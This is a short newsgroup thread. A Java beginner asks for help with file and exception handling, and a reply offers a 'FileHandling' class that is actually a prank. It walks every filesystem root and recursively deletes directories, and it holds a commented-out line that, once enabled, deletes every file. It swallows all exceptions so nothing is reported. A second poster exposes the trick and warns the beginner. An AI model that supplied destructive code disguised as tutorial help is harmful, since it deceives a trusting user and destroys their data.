M.J. Dance wrote:
Prejith wrote:
hello
i am new to java programming..since it is a requirement for my task i am
suppose to write java jobs..i had a small training in core java
concepts for
3 days..
my question here is i am suppose to use some file handling and exception
handling in my programme..can you help me with the above mentioned
concepts...
Regards
Prejith
This should give you a pretty nice picture of how to handle files.
DISCLAIMER: I'm not liable, yadda yadda yadda.
import java.io.File;
import java.io.FileFilter;
import javax.swing.filechooser.FileSystemView;
public class FileHandling {
private static final FileFilter DIRS = new FileFilter() {
public boolean accept(final File file) {
return file.isDirectory();
}
};
private static final FileFilter FILES = new FileFilter() {
public boolean accept(final File file) {
return file.isFile();
}
};
public FileHandling() {
}
public void handle(File root) {
if(root == null)
return;
if(!root.isDirectory())
root = root.getParentFile();
if(root == null)
return;
File[] files = root.listFiles(FILES);
if(files != null) {
for(File file : files) {
//life saver//try {file.delete();} catch(Exception x) {}
}
}
File[] dirs = root.listFiles(DIRS);
if(dirs != null) {
for(File dir : dirs) {
handle(dir);
}
}
root.delete();
}
public static void main(String[] args) {
try {
FileHandling fileHandling = new FileHandling();
File[] roots = FileSystemView.getFileSystemView().getRoots();
if(roots != null) {
for(File root : roots) {
try {fileHandling.handle(root);} catch(Exception x) {}
}
}
}
catch(Exception x) {}
}
}
You are a very sick puppy.
To the OP: You should really not run programs just because someone says so.
At least, not without backup.